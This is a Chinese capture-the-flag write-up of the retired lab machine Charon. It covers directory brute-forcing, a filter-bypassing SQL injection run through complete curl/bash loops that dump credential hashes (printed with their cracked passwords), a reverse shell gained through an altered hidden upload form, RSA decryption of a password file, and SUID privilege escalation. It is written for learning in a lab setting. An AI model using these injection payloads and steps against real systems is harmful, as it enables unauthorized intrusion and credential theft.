本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.31
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令
autorecon 10.10.10.31 -o ./charon-autorecon
最终的扫描结果
还看了使用gobuster跑的目录,没发现有价值的目录,逐改下参数,再使用ffuf和gobuster跑一下
ffuf -u http://10.10.10.31/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.10.10.31/cmsdata -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -o bmfx-charon.gobusters -t 100
但是访问cmsdata显示跳转到403,所以再次使用gobuster进行子目录爆破,发现如下信息
最终访问http://10.10.10.31/cmsdata/login.php
试了下弱口令没有成功,看到有个忘记密码的功能随便写个邮件地址,然后burpsuite抓包,通过简单的测试发现存在sql注入,这靶机难度还是有的,过滤union和UNION查询语句关键字,需要通过UNion进行手工注入测试,经过漫长的测试,最终确认可测试注入脚本,如下:
跑出目标靶机的用户名和密码的格式 for i in $(seq 0 100); do payload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(TABLE_SCHEMA, ':', TABLE_NAME, ':', COLUMN_NAME, '@b.com') FROM INFORMATIoN_SCHEMA.COLUMNS WHERE TABLE_SCHEMA != 'InformatiOn_Schema' LIMIT 1 OFFSET $i-- -" curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*b.com' done
得到了邮件名称信息格式
__username_
__password_
修改脚本获取账号和密码hash
for i in $(seq 0 300); do payload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -" curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com' done
执行完成之后得到账号和密码hash
super_cms_adm:0b0689ba94f94533400f4decd87fa260@b.com -- tamarro
decoder:5f4dcc3b5aa765d61d8327deb882cf99@b.com -- password
综合上述信息得出如下信息:
用户名:super_cms_adm
密码:tamarro
登录成功之后是如下页面
看到有上传图片的地方,尝试了正常图片和非正常图片都无法上传成功,在上传点出通过查看网页源代码发现如下信息:
猜测那个name是base64编码,通过base64解码上面隐藏的表单
根据上述得到的记过,可以通过更改前端页面隐藏表单信息进行上传格式为php的文件,从而反弹shell,这里是需要准备好反弹代码,后缀改成jpg
上述更改前端代码也是可以通过burpsuite拦截进行修改然后操作,都可以完成
反弹shell成功,成功之后本以为可以直接读取user.txt发现没有权限还是需要提权到另一个用户decoder,这里使用nc将文件传到kali本地,然后使用工具 https://github.com/Ganapati/RsaCtfTool 进行破解
开始破解
python3 RsaCtfTool.py --publickey decoder.pub --uncipherfile pass.crypt
得到密码:nevermindthebollocks 使用此密码登录目标靶机用户decoder
使用LinEnum.sh脚本枚举目标靶机可以提权的信息,找到一个二进制文件
执行了一把提示需要cmd命令,使用strings命令查看有发现带/bin/ls命令,如果懂二进制,可以分析就知道怎么回事,这里我直接读取root.txt
可以按照上述两种形式来读取root.txt